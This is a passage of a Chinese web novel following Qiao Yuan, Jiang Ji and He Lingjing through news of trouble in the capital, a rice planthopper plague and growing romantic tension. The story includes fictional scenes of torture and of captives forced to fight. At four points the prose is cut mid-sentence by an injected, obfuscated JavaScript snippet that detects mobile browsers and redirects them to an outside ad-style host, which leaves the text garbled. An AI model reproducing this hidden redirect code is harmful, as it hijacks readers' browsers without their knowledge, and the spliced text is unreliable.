乳白色的玉珏泛着水润的光泽，质地极好。上头雕刻着缠枝菱纹，细细看来，赫然是一个华字。 是永丰商会的会标。 乔元见状，收起情绪，双手推拒道：“华老，这玉珏太过贵重，我实在受不起。” 华兴贤却不由分说地塞到她怀里，“这东西不过死物，于我无用，在关键时候或许能帮上你的忙，你且拿着罢。就当是我作为你师傅的挚友，予你的见面礼。” 乔元拗不过华兴贤，终是恭敬收下。 见她收了玉珏，华兴贤笑着抚着美髯。一老一少在堂中相视而笑，有些不必言说的默契在二人心头流转。 —— 如今日照凌空，乔元口中说着那日的事情，忽然记起华兴贤对她说的最后一句话，“有你这样的徒弟，想必严三那厮定然很是欣慰。待回了京城，我定要将这一遭说予他听。” 她这才记起，严维运与她相约，最少三个月最多六个月，必定要接她入京。 乔元算算时间，现下已是六月，想来再过一多月，自己就要准备好动身北上所要的东西。 思绪流转间，她的目光不知不觉的落到面前的江稷身上。 今日天气实在是有些热，这么一会儿的功夫，江稷的额上就出了一层细密的汗珠。这样的天气，便是有扇子扇风，也觉得有些难忍。可他就这样一直曲着身子，认真听她说着那日的事情。唇角挂着淡淡的笑，眼眸里没有丝毫不耐。 乔元的脑海里不合时宜的闪过一个念头。 若是她走了，那……江稷呢？ 见乔元呆坐着不再言语，江稷拿手在她面前晃了几下，“怎的不说话，可是被热傻了？” 她回过神来，用扇子掩面轻咳一声，稳住声音道：“该说的我可都说了，你可还有什么要问的？” 江稷闻言将身子回正，调侃道：“所以，让你同贺令璟合作，是那老头的主意？” “贺家商行恰巧排在第二位罢了。”乔元陈述事实。 “那贺令璟呢？你可信他？”江稷形如剑锋的眉毛皱起，配着他沉着的脸，瞧着便有些吓人。 乔元却不惧他，“既已同他签了契书，那就是一条绳上的蚂蚱，信或不信，都已经不是我说了算了。” 江稷被她这样无所谓的态度惹恼了，却又说不出所以然来，他跳下石桌在桌边转了好几圈，才耍着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15073325|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无赖道：“反正他不是什么好东西，他若是约了你，你必定是要同我说的。赵无忧还在此处，你万不能单独同他见面徒增风险。” 提及赵无忧，乔元想起今日之事，问道：“你说，赵春来的事可是赵无忧干的？” 见她避而不答，江稷攀折了一支紫藤放在手里，愤愤揉搓到紫藤花瓣飘落满地，才没好气道:“不像。” “为何？”乔元递了绢帕给他。 乔元的绢帕很是素净，只在右下角秀了一个歪七竖八的‘元’字。江稷毫不迟疑的接过，却没拿来擦手，他转而直言道：“赵无忧心思狠戾，上来用的便是杀招。今日的局面漏洞百出，他可不屑玩这样的手段。倒像是……”江稷顿了顿才道：“像是故意引你入局的。” 江稷所言，和华兴贤的看法极为相似。 对方用的是实打实的阳谋。 乔元阖眸静思，指尖又开始无意识敲打。如今她倒是对背后那人愈发起了好奇。 对方的目的，到底是什么？ —— 贺家别院。 翠影摇曳，幽篁挺拔。微风拂过别院后侧的竹林，听得叶片‘沙沙’交替作响。阳光透过竹梢洒下，疏影横斜。 竹林有一方小几，小几上摆着精致的茗茶同点心，四散出清雅的香味。 贺令璟就这样端坐在小几前，手中正捏着一封信在沉思。 高锐从外头进来，在距离贺令璟一尺的距离站定，躬身道：“主人。” 贺令璟并未看他，只道：“人都处理了吗？” 高锐应道：“已经处理干净了，还请主人放心。” 贺令璟将手中的信反复看了几遍，才道：“我有些事交待你去办，你且附耳过来。” —— 与此同时，赵春来的店铺处。 店铺外头大门紧闭，上头用红纸贴着歇业的字条，整个店铺外围都被人围了起来。行人路过，只觉得有些人心惶惶。 屋内影影绰绰之下，华兴贤坐在最上首，正居高临下地看着下头被他从县衙保出来的赵春来，他随意道：“还藏了什么没说的，现在一并说了罢。” 赵春来死死伏在地上，身子抖若筛糠。“行……行首，再没有了。” “不老实。”华兴贤说话的语气，像是在招猫逗狗。他朝身边的人道：“却福。” 站在他身后的却福闻言上前一步，径直提起赵春来的身子，连话都不说一句，‘咔嚓’一声，直接将他的胳膊卸了。 “啊——”赵春来痛的冷汗涔涔，不住地在地上打滚。 华兴贤似是对这样的场面司空见惯，他轻飘飘道：“我实在是没什么耐心，若把你四肢都卸了你还不说，就只能送你上路了。” 说这话的时候，华兴贤面露温和，看着只不过是位慈眉善目的老人。 自己千盼万盼来的人，却是要他命的人。 赵春来悔不当初，在地上滚了许久，直到出气多近气少，他才瘫在一侧低声道：“我说。” 就在他刚要出言之际，有人从外头急步而来，“行首，从京城来的信。” 109. 前序（三） 信上盖着红色的印章，是驿站特有的加急字样。 华兴贤接过仆役递上来的信，一目十行地看完里面的内容，他脸色骤变，铁青着脸道：“却福，收拾东西即刻回京。” 声音已然冷到极致。 却福手里正拖着白了一张脸的赵春来，闻言，他直接松开手，将人如同破布一样砸在地上。 “是。”他朝着华兴贤一礼，立马反身往外走去。 华兴贤深吸一口气，拿着信的手有些不稳。他努力控制着不让人看出破绽，将信叠好放入怀中，负手跟着往外。 走到门槛处，他才想起地上瘫成一团的赵春来。华兴贤顿住脚步淡漠道：“让他把该交代的东西都交代了，届时写成书信送回京城。” “是，行首。”身后人应的干脆。 就在永丰商会正人仰马翻地收拾东西时，醉仙居天字间里，还是一派奢靡景象。 赵无忧今日换了新花样。 他将金子融成一颗颗小指大小的圆珠，放在琉璃做成的圆奁中。在他下首，趴跪着不少姿容俊美的男男女女，他们的手脚被红绳缚起，一个个恭敬垂头，连一丝声响都不敢发出。 赵无忧苍白的指尖从圆奁中取出几颗金珠，很是随意的往空中一抛。金珠划出几道弧线，四散在地上，发出‘噼啪’的声响。 他单手撑着下巴，扫视着趴跪着的人群，用最平淡的语气说着最残忍的话，“地上的这些金珠，谁能抢到就算谁的，当然……死生不论。” 沉默着的男女们跪在原地有少倾愣神，但很快，就有人动了起来。 有人带头，剩下的人这才如梦初醒般，一窝蜂地往掉了金珠的地方挤去。他们的手脚被束缚，只剩下头和嘴能作为武器。男男女女们互相撞击、撕咬，每一口都用尽全身的力气，只为了抢到掉落的金珠。 天字间里有不少装点摆设的器具，金珠难免不会落到这些东西底下。摆设的物件因为他们的厮打而不稳，一件接一件掉落下来，砸落到人身上或是脑袋上，尖锐的角扎入其中，开出一朵朵血色的花朵。 赵无忧坐在在最上头，带着赏玩的意味看着地上的蝼蚁为了丁点碎屑抢的你死我活。 睥睨众生的上位者，轻声哼起不成调的小曲，空气中浮动的血腥味成了他最好的助兴剂。 等宋正齐从门外进来时，室内浓重的血味混合着不知名的气味，让他几欲干呕。 他快速地瞥了一眼屋里的情况。 靠近门边处，有三四个人堆叠在一处，不知在争抢些什么。被压制在最下头的男人，嘴里正发出痛苦的呜咽。 稍远些的地上横七竖八地地躺着不少人，每个人的身上都有大小不一的伤口，有些甚至连脸皮都被撕咬了下来，血肉模糊成一片。若不是他们的胸口还在微微起伏，宋正齐差点以为要出人命了。 这样骇人的场面，叫他心如擂鼓。宋正齐不敢再看，他将头垂的不能再低，朝赵无忧所在的地方走去。 地毯被血液浸湿，一脚踩上去，又黏腻又腥膻。 他强忍着心头的恶心，毕恭毕敬道：“主人。” 赵无忧闻言抬头，很是愉悦道：“说。” 宋正齐掏出胸口的信件，躬身道：“京城来的急信。” 赵无忧信手接过信，整个人像是没有骨头似的倚靠在椅子上，慢条斯理地撕开信封。 待看完信中内容，他陡然立起身子，狠狠抓着宋正齐的领子，厉声道：“快去给我准备最快的马，即刻回京。” 宋正齐不知信中写了什么，才会让赵无忧有这么大的反应，他哆嗦着身子，“是，属下马上去准备。” 赵无忧突然转变的态度，同样也惊吓到了还在角落厮打的几人。争抢金珠到眼眸通红的几人很是默契的停歇下来，再也不敢妄动。 此刻赵无忧的面色已经阴沉到极致，整个人都被戾气笼罩。 他将手中的信放在烛台上烧毁，直接赤脚下地，一路踏着地上的陶瓷碎片和血迹往外走去。 门口的亲卫见他出来，还未来得及躬身，就听得赵无忧冷声道：“将里面的人处理干净。” “是。”亲卫们待他走远，径直入内反锁大门。屋内惊惧的叫喊声还没透出门窗，就如琴弦般戛然而止。 待赵无忧下了楼，宋正齐准备好的马车已然在楼下停好。在他上车坐定的那一刹，随着车夫的一声鞭响，马车以极快的速度朝城外驶去。 —— 江稷私宅。 “大人。”邹尧一路从外头疾跑而来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085331|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，站定在江稷面前。 彼时的江稷正躺在院中的躺椅上，半阖着眼看乔元在纸上写写画画。 “何事？”他见状从躺椅上起身，四下转了几圈舒缓筋骨。 邹尧看了一眼乔元，一时间不知该不该说。 江稷明白他的顾虑，直言道：“无妨，你说便是。” 邹尧冲他抱剑行了个礼，皱眉道：“刚刚得到的消息，住在醉仙居的那一行商人，在半刻钟前驾车出城了。” “是临时出城，还是？”一提到他们，江稷不再复方才的自在，沉声问道。 邹尧马上答道：“我问过醉仙居的掌柜，他们的天字间已经退了，应该是离开金台县。” 乔元人还安好，赵无忧为何会骤然离开？ 江稷敛起剑眉，思索一番后问道：“那华行首呢？” 邹尧道：“说来也巧，在他们走的一刻钟前，华行首一行人，也直接快马出城了。” 江稷回身同乔元对视一眼，二人都在彼此眼中看到了惊疑。 定然是出事了！ “你去查查，他们在走之前可有什么异样，不管大小，都来报我。”江稷回身吩咐邹尧。 邹尧闻言，利落领命而去。 见人走后，乔元放下手中的笔，朝江稷道：“今日分别之时，华行首说必定会把赵春来的事给我一个交代，可他却突然急急走了。还有赵无忧……” 她沉吟片刻，面色并不好看。 “难道是……京城出事了？！” “京城出事了。” 讶异的和肯定的两道声音在院内响起。 江稷面朝乔元道：“赵无忧向来不把人放在眼里，今日他暴露行踪也要急走而去，定然是京城出了事情。” 只可惜现在他们在小小的金台县，身边没有足够的消息往，根本不会知晓到底出了何事。 乔元的眉头愈发紧了些，能惊动华兴贤和赵无忧二人的，定然不会是什么小事。 上位者一句小小的话，便能掀起滔天巨浪，更遑论京城出了大变故。那普天之下的百姓，日子只会更加难熬。 就在她思绪繁杂之际，金台县的驿使从外头笑着进来，“乔姑娘，可找着您了。有您的信件，是从京城寄来的呢。” 110. 前序（四） 乔元从来都是一个行动派，几乎是在下定决心的那刻，她带着书信径直去了房内。连身后江稷喊了她几声也恍若未闻。 严维运随信特意附上了‘蟊虫’的样子，她必须尽快识别出来这是什么才能对症下药。 知道水患是大事，江稷也不计较这些，见她安心呆在房内，自己索性出门一趟，去寻了人探听京城到底出了何事。 等他回来的时候，上弦月挂在天际，乔家几人正在院子里乘凉说话。见他回来，周素忙起身相迎道：“江大人回来了，锅里还热着饭呢，我这就去给你盛出来。” 纪师在一旁吃着今年新上的甜杏，风凉道：“周家妹子，要我说他这么大人了，你叫他自己做着这些便是了，咱们且坐着再乐一乐。” 周素摆手笑道：“江大人公务繁忙，我们家既借住在此，这些小事自然由我们来做。” 也不知是哪根筋搭错了，江稷直愣愣接话道：“婶子若是喜欢此处，不如我明日找人过户给你们。” …… 院里瞬间安静下来，乔家几人众人停下手中的动作，面色各异。 唯有纪师气的一口甜杏哽在喉咙里，吃也不是吐也不是。他当即翻了个白眼，这么多年过去，这小子除了学会在人前装装样子，待人接物的本事非但不长，反倒愈发差的没边了。 周素面上挂着尴尬的笑，深吸了好几口气才讪讪道：“……大人莫拿我寻开心了。”生怕江稷接着口出狂言，她慌不择路地往厨房走去，“我先去替大人热饭。” 乔满山见状也跟了上去，他一边走一边皱眉暗忖道，莫不是在阴阳他们在此地住的太久了些？ 江稷看着乔家夫妇走远，摸摸鼻子，有些不明所以地看向纪师。 纪师三下五除二啃完手里的甜杏，丢了个核给他，又指了指江稷的脑门，留下一个‘笨’字，兀自回了自己的院落。 夜风有些大，纪师的‘笨’字还没被吹到江稷耳边，就落在了地上。江稷回想了一下众人的表现，抱胸点头肯定自己，看来自己少不得要对乔家人再大方些。 好容易用完热腾腾的饭菜，江稷寻摸到乔元房门外。 现在这样的天气，乔元习惯半开着房门，有风从屋内穿过，可以免去里头的燥热。 “乔元。”江稷轻叩门扉。 乔元没有从纸面中抬起头，只轻声应道：“嗯？” 江稷见状，很是熟稔地步入她的房中，拖了张椅子过来坐在她对面。 烛火莹莹，乔元的面庞像是被笼上了一层薄纱，她提笔不疾不徐地在纸上写着，江稷一时间竟开不了口打扰她。 还是乔元写完一个段落抬头看他，江稷这才恍然回过神来。垂在身侧的手下意识握紧，江稷掩藏住自己有些发热的耳根，又是紧张又是突兀的开口道：“京城里头的消息藏的紧，我还得花些时日才能知道到底发生了何事。” 面对穷凶极恶的囚犯，他尚且岿然不动，但每每遇上乔元，他总是忍不住做出些未经人事的少年强调来。 乔元点点头，算是在她的意料之中。 她记得江稷是江氏旁支所出，江氏如今已然式微，这些宫廷秘辛想必不是这么容易被查出来的。 见乔元对此不置一词，江稷随手把玩着她桌上的墨锭以分散心神，“京城那头没什么消息，倒是南边，收到消息说粮价开始飞涨，怕是不太妙。” 南边那几块地方今年怕是要颗粒无收，粮价能拖到现在才涨，看来朝堂已经开仓放粮了。但就算有州县压制，粮价还在攀升，只能说明情况比想象的还要坏。 乔元的目光转向桌面上摊着的纸张上。 严维运送过来的‘蟊虫’她已经辨认出来了——是稻飞虱。 只可惜画稻飞虱的人应该并非行家，并未将一应细节刻画完整，因而她没办法再进一步确定是白背飞虱还是褐飞虱。 飞虱科具有很强的迁飞能力，能够在不同地区之间长途迁徙。尤其现在气候既温暖又湿润，很容易在短时间内迅速扩散，造成大面积的危害。 稻飞虱极易产生抗药性，就算在现代昆虫学中，也是要小心应对的存在。换到现在这样的情况下……乔元琢磨了几个方法，却又当即给否定了。很多东西她自己也是道听途说，在未经实验的情况下，贸贸然写信给严维运只怕是在帮倒忙。 见乔元想的认真，江稷索性也不再说话，只百无聊赖地在一旁磨着墨。手指长的墨锭在他的手下旋转缩短，直到有些拿捏不住。他却乐此不疲地挑着墨锭，用尽各种方法将最后的墨头给磨了。 等乔元重新将眼眸聚焦到江稷身上的时候，新买的墨锭已然在他手里化成了墨汁。 江稷的手指已经被墨汁染上了浓重的颜色，偏生他还咧嘴对她笑，一副快些夸我的模样。 乔元扶额片刻，咬牙下了逐客令，“天色不早了，你先早点回去歇息罢。” 江稷点点头，很是从容地往外走去，还贴心的将乔元的房门关上，好像什么都没发生过似的。 待他走后，乔元看了那一碟子墨汁半晌，终于还是没忍住提笔蘸了上去。 呵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092585|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，粘稠的根本蘸不动。 —— 一直熬到夜半，乔元才堪堪睡着，鸡鸣未起，她又燃灯查阅各色书籍。等她从书册里顿首出来，外头已然日上中天。 乔元揉着肚子，拖将纸张用镇纸压实，着没有力气的双腿往厨房的方向走去。 今日倒是奇了，也没见周素来唤她。还没等乔元单脚迈入厨房，就见往日用饭的桌子上坐着两个人。江稷面朝她的方向，双手撑在桌板上，一脸不耐。 而他面前这位…… “乔姑娘起了。”贺令璟手里端着一盏茶，笑吟吟地转身看向她。他今日穿了一件极为贵气的云纹靛蓝锦袍，头上的金冠比江稷那日的还要耀眼些，连脚上踩都是绸面的宝石缂丝长靴。 明明是繁复的配饰，但穿在贺令璟身上，非但不庸俗，倒是多了几丝出尘意味。 江稷臭着一张脸，“你既已见到她，就请回罢，不留贺公子用饭了。” 贺令璟展颜一笑，“巡检使都赶了我一个早上了，怎的还想赶我走？” 江稷额上的青筋爆出一根，显然是忍了又忍。 两个男人的目光有针锋相对，但在看向乔元时，却又是很是和煦。 乔元饿的脑子有些发昏，压根没觉出二人的不妥来。 她今日本就想去寻一趟贺令璟，他来了倒是方便。乔元直接坐到了二人中间的空位上，“贺公子怎会在此？” 贺令璟闻言，从怀里掏出一块令牌给她。“昨日走的匆忙，还未将我贺家商行的信物交给乔姑娘。” 乔元接过令牌，随手收入怀中，笑道：“这些小事贺公子麻烦仆役跑一趟就是了，我不知公子今日要来，倒是劳你久等。” 贺令璟摇摇头，“乔姑娘莫说这样的话，能等姑娘是贺某之幸。况且有巡检使陪着，两个时辰眨眼也就过了。” 听他提到江稷，乔元这才后知后觉地偏过身。 见乔元终于把注意力转到了他身上，江稷还没来得及高兴呢，就听她问道：“阿娘呢？” 开口的第一句竟不是问他？江稷黑着一张脸，硬邦邦道：“出去买菜了。” 贺令璟来了这么些时候，周素定是瞧见了的。乔元道：“我阿娘做的饭别有一番滋味，公子可愿赏脸留下来用个便饭？” 贺令璟直白的目光看向江稷，冲他勾唇，笑意比方才更深邃了些，“恭敬不如从命。” 江稷气地一口气差点上不来，想甩袖而去，却又硬生生忍了。 他倒是要看看，乔元能和姓贺那厮说出什么花来。 111. 前序（五） 乔元顺手拈了桌上的糕点垫垫肚子，忙不迭地将心头的疑问托出，“贺公子可知南边的情形？” 贺家商行遍布景朝，贺令璟的消息定然会更多些。 贺令璟温声问道：“不知姑娘想问什么方面？水患现下已经退干净了，朝廷也派人在当地着手赈灾，只可惜时间尚短，还未见起色。” “那粮价呢？”乔元虽听了江稷说，还是想知道得更清楚些。 贺令璟略略思索答道：“前几日有掌柜传消息过来，说如今粮价已经涨到一百二十文一斗。” 乔元心头一跳，那就是翻了至少十倍了。 粮少价贵，不是长久之相。 乔元不藏着掖着，单刀直入道：“昨日我师傅来了信，信上说定安府以南的稻谷都出了问题。贺公子，若我能制出对应的配方来，敢问最快多久能送到定安府？” 严维运的信？难怪她今日这样问。 贺令璟在心里揣摩着严维运写信的用意，一时间没接话。 “贺公子？”乔元疑惑道。 猝不及防地撞入乔元关切的眉眼，贺令璟怔愣片刻后道：“姑娘若是信得过我，我必举贺家商行全数之力，只消半个月，定然送到。” 乔元指尖沾水在桌面上简单写写画画一番，一口应下，“成，就半个月。一周之内，我保证将配方制出来给你。” 纵然知晓乔元天赋异禀，但听她这样说贺令璟还是忍不住劝阻道：“姑娘莫急，事情到此等地步便是再快也是难救，不若沉下心来稳妥制药更好些。” “你这是不信她？”好容易抓住讥讽贺令璟的机会，江稷张口就来。 “我并非……”贺令璟下意识反驳。 “贺公子莫要担心，我定不会落了你贺家商行的名头。”乔元道。 一周不过是她的托词，凭她的能力，三日足以。 被江稷将了一军，叫乔元误会了他的意思，贺令璟换了个坐姿，面上端起得体的笑，“乔姑娘，我并非这个意思，只是担心姑娘受累罢了。” 乔元只当他是不好宣之于口，笑道：“无妨，我明白公子的意思。” 眼看坐在对面的江稷高挑眉眼，整个人都舒展开来。贺令璟一扯嘴角，“说起来，往后我同乔姑娘便是长久的合作关系了，我字亦凌，姑娘不若直接唤我小字？” 明明在说着南边水患的事，贺令璟忽然转了话题，乔元眨巴几下眼睛，有些接不上话。 江稷的脸登时又黑了下来，侃道：“贺公子不愧是出身名门，连小字竟都这般风雅。” 他查过贺令璟，出身京城乡野，爹娘不详，要不是后来被好心富户收留，只怕早就横死街头了。 “哪里算得上名门，不过运气好，多读了几年书罢了。比不过江大人，出生就是江氏这样显赫的氏族。”贺令璟轻巧地将话递了回来。 一个无家孤儿，一个落魄旁支，谁也比不过谁去。 眼看着二人斗起嘴来怕是没完，乔元适时开口道：“直呼公子小字怕是不妥，不若这样，贺公子瞧着比我虚长几岁，我唤你一声贺大哥也就是了。” 贺令璟本就没想乔元能同意，他展颜一笑，如春日霞光，“随姑娘喜欢就是。对了，要是姑娘不嫌弃，我可能唤你一声元姑娘？” 周素刚提了一篮子菜进来，耳朵里就落了一声‘元姑娘’。她提着菜篮子的手一抖，水灵灵的萝卜差点就这么掉下去了。 江大人的声音她很是熟悉，所以……她的目光在屋内转了一圈，这声‘元姑娘’是那贺公子说的？ 周素抬手抚开额前掉落的发丝，整个人既紧张又苦恼。前途光明的巡检使和朝颇负盛名的皇商，她的元姐儿可该选谁才好。 她这处的响动惊到了的桌面上的三人，乔元见周素回来，快步迎了上去，“阿娘，你回来了。” 说完，她就这样正大光明的打着帮周素提着篮子的旗号，头也不回地离开了这处。 乔元一走，屋内登时只留下江稷同贺令璟二人。 江稷嗤笑一声，起身直接走了出去。 对于他的无礼，贺令璟连眼皮都不曾抬一下，惬意地抿了一口茶，就这样优哉游哉地坐在位置上等着用饭。 半个时辰后，酒足饭饱。 贺令璟这才起身同乔元告辞，“元姑娘，婶子，多谢你们今日的招待。” 周素在围兜上擦擦手，“公子哪里的话，这么些家常小菜，是我们招待不周才是。” 贺令璟闻言，又同周素说了许多，逗得她笑容满面的，这才转向乔元道：“这些时日我先筹备元姑娘留下的旧配方，待你研制出新的配方，派人来唤我一声，我即刻就来。” “那就多谢了贺公子了。” 乔元含笑点头，一直送贺令璟到门外，看他上了马车才回到屋里。 “阿娘，江稷呢？”好容易得了片刻闲暇，她这才想起好像从饭后就没见着江稷。 周素从厨房里探出头来，“江大人？方才还在这儿，可能是回自己院落了罢。” 乔元点点头，依言往他的院子里走去。 还没走近，就听得里头传来一阵破风声。她凑近去看，这样大的日头下，江稷脱了外袍，正站在院子中央练剑。 大中午的，也不怕中暑。 乔元抬手盖在额前，上几步道：“刚吃完饭就练剑，肚子可是要绞痛的。” 哪知江稷只看了她一眼，只顾自己练剑，一句话也不同她说。 手上的剑招倒是一式比一式凌厉。 乔元知道他和贺令璟不对付，她想了想，跑到外头端盆新鲜的瓜果进来，“天这样热，可要歇歇吃些果子？” 眼看着江稷还是不吭声，乔元又跑到外头替他端了一碗凉水过来。“可要喝些水润润喉？” 几次三番，还是不见江稷理她，乔元干脆自己捏着果子坐在一旁看他练剑。不看白不看，左右这样利落的剑法她可从来没瞧过。 余光瞥见乔元坐在椅子兀自啃着果子，不肯对他费心了。江稷一式凌空破月，挽出一道极为漂亮的剑花，最终收了势。 他没好气地坐到乔元身边，毫不客气地拿了一个桃子在一旁啃着。 初见江稷时，乔元只觉得这人心思深沉很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15102040|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不好接近，他又是巡检司的人，怕是心里有十八个弯弯绕绕。现在二人混熟了，她这才惊觉这人怎的这般孩子脾气，直来直往，喜恶全写在自己脸上。 为了缓和气氛，乔元想了想起了个话头，“说起来咱们相识这般久，你为何从来不告诉我你的小字？” 江稷啃咬桃子的嘴一顿，继而又加快了咀嚼速度，冷淡道：“我没有小字。” 但凡世家大族，打孩子出生开始，就会为孩子用心择上小字。江稷既然出身临阳江氏，怎会没有？ 忽然，青石巷月夜下，江稷略显苍凉的话语重现在她耳际，“我爹娘，他们巴不得我死了才好。” 瞧着他满不在乎的模样，乔元拿着果子的手慢慢垂落在身侧，“抱歉。我……” 江稷偏眸看她，打断她未出口的话，“不必，我并未在乎。” 像是为了宽慰乔元，江稷忽而开口道：“你知道稷代表什么吗？是野草，是别人不要的，却又生生不息的野草。” 明明是名镇一方的巡检使，在提起自己的出名字，却是满满的自嘲。 “不是的。”乔元当即反驳道。 她起身站立在他面前，话里带着连自己都没察觉的急切，“稷不是野草，是黍，是非常重要的农作物。稷既耐旱、适应性又广，千百年来都是百姓不可或缺的一部分。” 怕江稷不信，她接着道：“有人曾言，‘疆埸翼翼，黍稷彧彧’，你听，这句话里描述的就是他们对稷的赞美。啊——” 身子猝不及防地一仰，乔元忽得被江稷拉入怀里。 男人的怀抱很热，还带着些许汗味。宽阔的胸膛将她牢牢箍住，单薄夏衣下的每一块肌肉既小心又克制，可即便如此，它们的存在感还是太强了。 乔元只觉得脑海一片空白，江稷带着沙哑的声音落在她的头顶，字句间的喘息声让她耳后有些发麻。 “多谢你，乔元。” 这个拥抱太过短暂，乔元还没反应过来，江稷就松开了她。 淡淡的温热的触感还在她的肌肤上跳跃，乔元觉得自己的脸热得有些不正常。 她像是个刚学会说话的孩童，只能蹦出单个字，“你，你，我——” 乔元落荒而逃了。 她觉得自己不该走的，不过就是一个拥抱，她不是那么封建迂腐的人。 可一旦将那人换成江稷，乔元只觉得自己胸腔里面的心脏跳动快得不正常。她飞也似地跑入房内，将整个人都埋入松软的被子里，像是只缩在泥地里的鸵鸟，下意识想去逃避已经发生的现实。 此刻，主院里的江稷，还维持着方才的姿势就这样坐在凳子上。他抬手擦了擦唇角，弯起眉眼，露出很是显眼的笑意。 淡淡的藿香味萦绕在他身边。 是独属乔元的味道。 乔元熬夜的时候，时常用藿香来提神。 细腻的触感停留在他的双手之上，姑娘家同男儿完全不同的触感，让江稷的头脑有些发昏。他甩甩头，起身站在曜日之下，一脚踢起掉落在地上的剑。 今日，怕是得多练几套剑招了。 112. 前序（六） 入目是摇曳花海，湛蓝的天空一望无际。 有什么东西在舔舐她的指尖，湿湿的，痒痒的。 视线往下，是一只毛茸茸的黄色幼犬。幼犬长着一双又大又圆的琥珀色眼睛，粉红的小舌头正轻舐着她，暖融的毛发在她身侧蹭蹭，发出‘嗷呜嗷呜’的撒娇声响。 正当乔元想将它抱入怀中时，忽然之间天地变色，有惊雷从远处而来，近处的白云被瞬息染成墨色，闪电带着雷霆之势而下。 方才还憨萌可爱的幼犬陡然跃起将她扑倒，在她身上一寸寸变大，最后幻化成江稷的样子。 男人健硕的身躯箍紧她，低沉又磁性的声音落到耳边，“乔元，你逃不掉了。” “啊——！”乔元惊叫着醒来，鬓边是黏腻的汗渍，连带身上的里衣都被汗水浸湿。 借着月色看向四周，熟悉的房间，熟悉的场景。 原来是梦。 乔元坐在床上长舒了一口气，直到觉得狂奔的心跳找回了原本的速度，她才赤脚走到桌边，给自己灌了一杯又一杯的凉水。 做了这样一个梦，后半夜她是无论如何也睡不着了。好不容易熬到鸡鸣，东边泛起鱼肚白，乔元干脆悄没声儿地收拾好自己，出门往问讯处走去。 不同于白日的炎热，清晨的空气中带着凉意，混合着草木的清香，叫人精神为之一振。 一连多日没在问讯处露过面，这些时日要么是乔长平带着姑娘们的问题回来，要么就是她将写好的内容让他送过去。现下身体已然痊愈，买扑的事情也告一段落，她怎么也该重新回去授课才是。 踏过熟悉的拐角，刚到中街，乔元就见问讯处门口已经半开着了。 这几日她去不了问讯处，钥匙早就交给了乔长平保管。她出来时乔长平的鼾声响得她在隔壁都听得到，那会是谁？ 乔元步履不停，快速往前走去。 刚至门口，就见李绒双袖挽起，肩上搭着一块布，正端了一盆水出来。 少女身上像是带着磅礴的生命力，一见着乔元，连水盆都来不及放，忙不迭地冲她挥手道：“师傅！”她的声音清脆如银铃，一听就叫人心生欢喜。乔元方才还有些紧张的心落到实处，笑着应了声，“哎。” 李绒将水泼到墙角，确认不会脏污了路面。这才小跑上前很是亲热地挽着乔元的手臂，“师傅，你今日怎的起这么早？身子可好些了？可千万不要强撑，要不我还是先送你回去？” 又是一连串连珠炮一样的话。 乔元一一笑着答了，又问她，“那你呢？怎的这么早就在问讯处？” 问讯处里的桌椅还带着水渍，一看就是李绒刚擦过的。 李绒的面色有片刻僵硬，她支吾了半刻道：“我……我住在这里。” “住在这里？”乔元皱眉重复了一遍她的话。 问讯处从建成那日起，只安置了几张桌子和学习用具，别的什么都没有。李绒一个小姑娘如何住得？ 知道瞒不过去，李绒拿脚尖在地上划了个圈，最终和盘托出道：“自打我被退了亲，虽然有师傅还有巡检使替我撑腰，但……我爹、大哥同大嫂他们……每日都要叱骂我几句。” 小姑娘的话有些断断续续。 “我爹说养着我这样的赔钱货很是晦气。前些日子，他不知打哪里听来，叫我打着师傅你的名号出去混些钱来，不然就不认我这个女儿。我不肯，便又同他吵了起来，一气之下干脆直接离了家。” “前日放课，乔大哥见我久不还家，听我说了原由后，他说后院还多了间空房，我便求了他住了下来。”像是怕乔元听了不高兴，李绒又补充道：“师傅，等我再赚些钱，我就寻了房子搬出去。” 这事儿乔长平从未对她提过。 乔元定定看着李绒，开口追问道：“这些事你为何从来没告诉过我？” 